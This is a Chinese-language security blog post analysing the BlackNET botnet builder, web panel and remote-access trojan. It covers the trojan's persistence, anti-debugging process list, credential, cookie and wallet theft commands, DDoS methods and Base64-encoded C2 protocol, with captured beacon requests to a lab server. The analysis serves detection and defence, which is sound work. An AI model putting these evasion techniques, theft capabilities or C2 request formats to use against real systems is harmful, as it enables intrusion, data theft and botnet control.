概述
在上一篇《针对LOL玩家的最新钓鱼活动剖析-大量国内玩家受控》文章中,笔者对最新针对LOL玩家的钓鱼攻击活动进行了详细的技术剖析,在技术剖析的过程中,笔者发现攻击活动中使用的木马程序原来均是由开源项目构建生成。为了能够更详细的对攻击活动中的各环节进行详细的剖析,笔者选择先就其中的BlackNET僵尸网络项目进行剖析。
在对BlackNET僵尸网络进行剖析的过程中,笔者发现:
- 可基于源码模拟构建BlackNET僵尸网络的WEB面板控制端和远控木马端;
- BlackNET远控木马支持反虚拟机、反调试、网络传播、文件捆绑等多种自定义配置;
- BlackNET远控木马支持下发DDOS攻击、挖矿木马、远程shell等39个远控指令;
- BlackNET僵尸网络支持基于HTTP、HTTPS通信上线,通信数据存在一定的通信特征,可基于网络流量对其进行监控。
BlackNET僵尸网络框架
模拟构建
BlackNET僵尸网络框架分为WEB面板控制端和远控木马编译器。
WEB面板控制端支持功能如下:
- 对僵尸网络木马进行管理,下发远控指令
- 日志记录
WEB面板控制端运行页面如下:
远控木马编译器支持对木马程序进行自定义配置。远控木马编译器运行截图如下:
框架目录剖析
尝试对BlackNET僵尸网络框架的目录结构进行剖析,梳理发现:
- WEB面板控制端
- plugins目录下存在多个可疑文件:FileSearcher.dll、PasswordStealer.dll、PluginExample.dll、xmrig.exe
- xmrig.exe:挖矿程序
- 远控木马编译器
- stub.exe:原始木马程序,编译时将基于此木马程序进行修改生成
- watcher.exe:守护程序,用于启动Client.exe木马程序
WEB面板控制端源码截图如下:
远控木马编译器目录截图如下:
BlackNET攻击场景复现
生成木马
根据远控木马编译器可实现自定义木马程序配置:
- Main Settings:
- BN URL:C&C地址
- Victim ID:上线ID
- MUTEX:互斥对象
- Spiltter:用于拆分上线信息的字符串
- Persistence:持久化配置
- Add to Startup、Add to Scheduled tasks:自启动
- Stealth Mode:安装至指定目录
- Enable Watchdog:守护程序
- Delay Execution:延迟执行
- Critical Process
- Extra Features:功能配置
- Dropbox Spread、OneDrive Spread、USB Spread:传播方式
- Elevate UAC:使用UAC提升权限
- Anti-Debugging:反调试
- Bypass VM:反虚拟机
- AES Encryption:加密BN URL配置信息
- StartKeylogger:键盘记录
- Disable WD:关闭Windows Defender
- Debug Mode:调试模式
- Binder Settings:文件捆绑并运行
- Downloader:外链下载并运行
- Icon Changer:自定义图标
- Compile Client:.EXE、.BAT、.CMD、.SCR、.PIF(笔者拿到的版本有问题,无法生成EXE格式以外的文件)
相关截图如下:
木马上线
在受控主机上直接运行Client.exe木马程序,即可实现木马上线。上线成功后的WEB面板控制端运行页面如下:
基于WEB面板控制端,即可实现向指定僵尸网络木马下发远控指令,相关截图如下:
BlackNET木马详细剖析
配置信息
通过分析,发现Client.exe木马程序的MainController类中存放了木马程序的配置信息,相关代码截图如下:
进一步分析,梳理BlackNET Builder编译器中的配置信息与远控木马中的配置信息对应关系列表如下:
BlackNET Builder配置页面 | 配置信息 | 备注 |
---|---|---|
Main Settings -> BN URL | Host | C&C地址 |
Main Settings -> Delay Execution | DelayCodeStatus | 延迟执行 |
Main Settings -> Delay Execution | DelayCodeTime | 延迟执行 |
Main Settings -> Spiltter | Y | 用于拆分上线信息的字符串 |
Main Settings -> Victim ID | ID | 上线ID |
Persistence -> Add to Scheduled tasks | ASchtask | 自启动 |
Persistence -> Add to Startup | Startup | 自启动 |
Persistence -> Enable Watchdog | WatcherStatus | 守护程序 |
Persistence -> Stealth Mode | HardInstall | 安装至指定目录 |
Persistence -> Stealth Mode | StartName | 安装至指定目录 |
Persistence -> Stealth Mode | InstallName | 安装至指定目录 |
Persistence -> Stealth Mode | PathS | 安装至指定目录 |
Extra Features -> AES Encryption | AESKey | 加密BN URL |
Extra Features -> AES Encryption | AESStatus | 加密BN URL |
Extra Features -> Anti-Debugging | BypassScanning | 反调试 |
Extra Features -> Bypass VM | AntiVM | 反虚拟机 |
Extra Features -> Critical Process | EnableCP | |
Extra Features -> Debug Mode | DebugMode | 调试模式 |
Extra Features -> Disable WD | BypassWD | 关闭Windows Defender |
Extra Features -> Dropbox Spread | DBSpread | 传播方式 |
Extra Features -> Elevate UAC | ElevateUAC | 使用UAC提升权限 |
Extra Features -> OneDrive Spread | ODSpread | 传播方式 |
Extra Features -> StartKeylogger | KeyloggerOnRun | 键盘记录 |
Extra Features -> USB Spread | USBSpread | 传播方式 |
Binder Settings | BinderStatus | 文件捆绑并运行 |
Binder Settings | DropperPath | 文件捆绑并运行 |
Downloader | DownloaderStatus | 外链下载并运行 |
Downloader | DownloaderPath | 外链下载并运行 |
AES Encryption
通过分析,若自定义配置了AES Encryption选项,则样本运行后,将调用AES算法解密获取C&C地址,梳理AES解密流程如下:
- 配置信息中的AESKey数据将用于PBKDF2算法的输入,通过迭代计算生成AES算法的IV值和KEY值;
- 使用Base64解码加密数据;
- 使用AES CBC解密外链C&C;
CyberChef解密流程如下:
相关代码截图如下:
Enable Watchdog
通过分析,若自定义配置了Enable Watchdog选项,则样本将释放watcher.exe程序,用于实现进程守护,当watcher.exe程序运行后:
- 将根据文件描述信息"Windows Update Assistant"在watcher.exe程序目录下查找Client.exe木马程序;
- 若进程列表中无Client.exe木马程序,则加载运行Client.exe木马程序;
相关代码截图如下:
Client.exe木马程序属性信息截图如下:
BypassScanning
通过分析,若自定义配置了Anti-Debugging选项,则样本将通过多种方式检测系统环境:
- 运行进程检测:procexp,SbieCtrl,SpyTheSpy,SpeedGear,wireshark,mbam,apateDNS,IPBlocker,cports,ProcessHacker,KeyScrambler,Tcpview,smsniff,exeinfoPE,regshot,RogueKiller,NetSnifferCs,taskmgr,Reflector,capsa,NetworkMiner,AdvancedProcessController,ProcessLassoLauncher,ProcessLasso,SystemExplorerApateDNS,Malwarebytes Anti-Malware,Malwarebytes Anti-Malware,TCPEye,SmartSniff,Active Ports,ProcessEye,MKN TaskExplorer,CurrPorts,System Explorer,DiamondCS Port Explorer,VirusTotal,Metascan Online,Speed Gear,The Wireshark Network Analyzer,Sandboxie Control,ApateDNS,.NET Reflector
- 检测系统盘是否过小
- 检测是否是XP环境
- 检测是否是vmware或VirtualBox环境
- 检测当前进程是否正在被调试
- 检测是否是Sandboxie环境
相关代码截图如下:
DownloaderStatus
通过分析,若自定义配置了Binder Settings选项,则样本将从资源段中释放捆绑程序并运行。相关代码截图如下:
DownloaderStatus
通过分析,若自定义配置了Downloader选项,则样本将从外链下载载荷文件并运行。相关代码截图如下:
远控功能
通过分析,梳理WEB面板控制端与远控木马中的远控指令对应关系列表如下:
WEB面板控制端 | 远控木马中的远控指令 | 备注 |
---|---|---|
Client Commands -> Ping | Ping | 心跳通信 |
Client Commands -> Show Messagebox | ShowMessageBox | 弹框 |
Client Commands -> Take Screenshot | Screenshot | 截屏 |
Client Commands -> Installed Softwares | InstalledSoftwares | 获取系统安装软件列表 |
Client Commands -> Execute Script | ExecuteScript | 执行脚本 |
Client Commands -> Elevate User Status | Elevate | 以管理员权限重新运行 |
Client Commands -> Execute XMR Miner | XMRMiner | 运行挖矿程序 |
Client Commands -> Clean TEMP Folder | CleanTemp | 清理%TEMP%目录 |
Client Commands -> Send Spam Email | SpamEmail | 使用受控主机发送钓鱼邮件 |
Client Commands -> Execute Custom Plugin | InvokeCustom | 运行插件 |
Client Commands -> Execute Shell Commands | RemoteShell | 执行shell命令 |
Client Commands -> Get a File from System | GetFile | 从被控主机中窃取文件 |
Upload Files -> From Disk | UploadFile | 上传并执行文件 |
Upload Files -> From URL | UploadFile | 上传并执行文件 |
Torrent Seeder -> From Disk | TorrentSeeder | 种子文件 |
Torrent Seeder -> From URL | TorrentSeeder | 种子文件 |
Stealers -> Steal Firefox Cookies | StealCookie | 窃取信息 |
Stealers -> Steal Chrome Cookies | StealChCookies | 窃取信息 |
Stealers -> Steal Bitcoin Wallet | StealBitcoin | 窃取信息 |
Stealers -> Execute Password Stealer | StealPassword | 窃取信息 |
Stealers -> Steal Discord Token | StealDiscord | 窃取信息 |
Stealers -> Steal Clipboard Data | GetClipboard | 窃取信息 |
Open Webpage -> Open Webpage (Visible) | OpenPage | 打开浏览器访问网页 |
Open Webpage -> Open Webpage (Hidden) | OpenHidden | 打开浏览器访问网页 |
DDOS Attack -> Start DDOS | StartDDOS | 支持7种不同方式向指定站点发起DDOS攻击 |
DDOS Attack -> Stop DDOS | StopDDOS | 停止DDOS攻击 |
Keylogger -> Start Keylogger | StartKeylogger | 开启键盘记录 |
Keylogger -> Stop Keylogger | StopKeylogger | 关闭键盘记录 |
Keylogger -> Retreive Logs | RetriveLogs | 上传日志文件 |
Computer Commands -> Shutdown | Shutdown | 关机 |
Computer Commands -> Restart | Restart | 重启 |
Computer Commands -> Logoff | Logoff | 注销 |
Clients Connection -> Close Connection | Close | 关闭连接 |
Clients Connection -> Move Client | MoveClient | |
Clients Connection -> Blacklist IP | Blacklist | 将此受控主机加入黑名单 |
Clients Connection -> Restart Client | Restart | 重启 |
Clients Connection -> Update Client | UpdateClient | 升级 |
Clients Connection -> Uninstall | Uninstall | 卸载 |
StartDDOS
通过分析,发现当样本上线后,攻击者可基于WEB面板控制端向僵尸网络木马下发DDOS攻击指令:
- 支持DDOS方式如下:
- UDPAttack:ping.Send
- SlowlorisAttack:"POST / HTTP/1.1\r\nHost: "
- ARMEAttack:"HEAD / HTTP/1.1\r\nHost: "
- TCPAttack:socket.Connect(remoteEP)
- HTTPGetAttack:webClient.DownloadString
- BWFloodAttack:webClient.DownloadString
- PostHTTPAttack:webClient.UploadString
相关WEB面板控制页面截图如下:
相关代码截图如下:
XMRMiner
通过分析,发现当样本上线后,攻击者可基于WEB面板控制端向僵尸网络木马下发运行挖矿木马的指令。
相关WEB面板控制页面截图如下:
相关代码截图如下:
RemoteShell
通过分析,发现当样本上线后,攻击者可基于WEB面板控制端向僵尸网络木马下发执行shell命令:
相关WEB面板控制页面截图如下:
相关代码截图如下:
Screenshot
通过分析,发现当样本上线后,攻击者可基于WEB面板控制端向僵尸网络木马下发截屏指令。
相关代码截图如下:
BlackNET通信模型剖析
通过对BlackNET远控木马的通信流量进行抓取,发现其通信存在一定的规律:
- 向C&C发起
check_panel.php
网络请求,用于校验C&C是否存活; - 向C&C发起
connection.php
网络请求,用于上传系统基本信息; - 循环向C&C发起
getCommand.php?id=
网络请求,用于获取远控指令,未设置请求间隔时间,有点类似于心跳请求; - 从C&C接收远控指令,根据远控指令执行对应的远控功能;
- 指令执行完后,除个别指令外,其余指令均会向C&C发起
receive.php?command=CleanCommands
网络请求; - 执行部分指令时,需要从C&C下载相关的载荷文件;
- 部分指令执行完后,会向C&C发起
upload.php、post.php、remoteshell.php
网络请求,用于上传执行结果;
BlackNET远控木马的各远控指令的通信请求对比情况如下:
远控木马中的远控指令 | 请求php | receive.php?command= | 备注 |
---|---|---|---|
Ping | Pinged | ||
ShowMessageBox | CleanCommands | ||
Screenshot | upload.php | CleanCommands | |
InstalledSoftwares | upload.php | CleanCommands | 上传ProgramList.txt |
ExecuteScript | DeleteScript、CleanCommands | 从C&C下载脚本 | |
Elevate | CleanCommands | ||
XMRMiner | CleanCommands | 从C&C下载挖矿程序 | |
CleanTemp | CleanCommands | ||
SpamEmail | CleanCommands | ||
InvokeCustom | CleanCommands | 从C&C下载插件程序 | |
RemoteShell | remoteshell.php | CleanCommands | |
GetFile | upload.php | CleanCommands | 从C&C下载FileSearcher.dll |
UploadFile | CleanCommands | 从C&C下载程序 | |
TorrentSeeder | CleanCommands | 从C&C下载种子文件 | |
StealCookie | upload.php | CleanCommands | 上传cookies.sqlite |
StealChCookies | upload.php | CleanCommands | 上传CookiesCh.sqlite |
StealBitcoin | upload.php | CleanCommands | 上传wallet.dat |
StealPassword | upload.php | CleanCommands | 从C&C下载PasswordStealer.dll;上传Passwords.txt |
StealDiscord | upload.php | CleanCommands | 上传Token.txt |
GetClipboard | post.php | CleanCommands | |
OpenPage | CleanCommands | ||
OpenHidden | CleanCommands | ||
StartDDOS | CleanCommands | ||
StopDDOS | CleanCommands | ||
StartKeylogger | CleanCommands | ||
StopKeylogger | CleanCommands | ||
RetriveLogs | upload.php | CleanCommands | 上传log日志 |
Shutdown | CleanCommands | ||
Restart | CleanCommands | ||
Logoff | CleanCommands | ||
Close | CleanCommands、Offline | ||
MoveClient | CleanCommands | ||
Blacklist | |||
Restart | CleanCommands | ||
UpdateClient | Uninstall、CleanCommands | 从C&C下载新版本程序 | |
Uninstall | CleanCommands |
使用WEB面板控制端查看上传文件:
URL参数加密
通过分析,发现样本在通信过程中,将对URL参数数据进行编码处理:
- 编码:Base64编码;将
+
替换为-
;将/
替换为_
; - 解码:将
-
替换为+
;将_
替换为/
;Base64解码;
相关代码截图如下:
上线通信
通过分析,发现使用A-Za-z0-9-_
字符集的Base64对上线载荷进行解码,可成功解码上线载荷数据(样本中使用的是A-Za-z0-9+/=
字符集):
#上线载荷
SGFjS2VkX0RFQThCNzA1fEJOfERFQThCNzA1fEJOfFdJTi1KTUtKRU1KQzRPVHxCTnxNaWNyb3NvZnQgV2luZG93cyA3IOaXl-iIsOeJiCB8Qk58SW50ZWwoUikgQ29yZShUTSkgaTctMTA1MTBVIENQVSBAIDEuODBHSHp8Qk58Vk13YXJlIFNWR0EgM0R8Qk58Mi4wMCBHQnxCTnxOL0F8Qk58djMuNy4wIFB1YmxpY3xCTnxPbmxpbmV8Qk58bm98Qk58VXNlcg
#解码数据
HacKed_DEA8B705|BN|DEA8B705|BN|WIN-JMKXXX4OT|BN|Microsoft Windows 7 旗舰版 |BN|Intel(R) Core(TM) XXXXXU CPU @ 1.80GHz|BN|VMware SVGA 3D|BN|2.00 GB|BN|N/A|BN|v3.7.0 Public|BN|Online|BN|no|BN|User
#数据拆分
HacKed_DEA8B705
DEA8B705
WIN-JMKXXX4OT
Microsoft Windows 7 旗舰版
Intel(R) Core(TM) XXXXXU CPU @ 1.80GHz
VMware SVGA 3D
2.00 GB
N/A
v3.7.0 Public
Online
no
User
相关通信载荷截图如下:
心跳通信-获取远控指令
通过分析,发现样本运行后,将循环向C&C发起getCommand.php?id=
网络请求,用于获取远控指令,由于未设置请求间隔时间,因此请求较频繁;
进一步分析,发现心跳通信主要分为:getCommand.php请求数据、getCommand.php响应数据、receive.php请求数据、receive.php响应数据。
由于在未接收远控指令时,上述通信的实际载荷为Ping、Pinged,因此,通信流量中将存在大量相同载荷长度的通信数据。
相关心跳数据详情如下:
GET /blacknet/getCommand.php?id=SGFjS2VkX0RFQThCNzA1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Host: 192.168.65.129
#SGFjS2VkX0RFQThCNzA1解码后为:HacKed_DEA8B705
HTTP/1.1 200 OK
Date: Tue, 13 Aug 2024 15:34:44 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
6
UGluZw
0
#UGluZw解码后为:Ping
GET /blacknet/receive.php?command=UGluZ2Vk&vicID=SGFjS2VkX0RFQThCNzA1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Host: 192.168.65.129
#UGluZ2Vk解码后为:Pinged
HTTP/1.1 200 OK
Date: Tue, 13 Aug 2024 15:34:44 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Content-Length: 0
Content-Type: text/html; charset=UTF-8
HTTP通信数据包截图如下:
HTTPS通信数据包截图如下: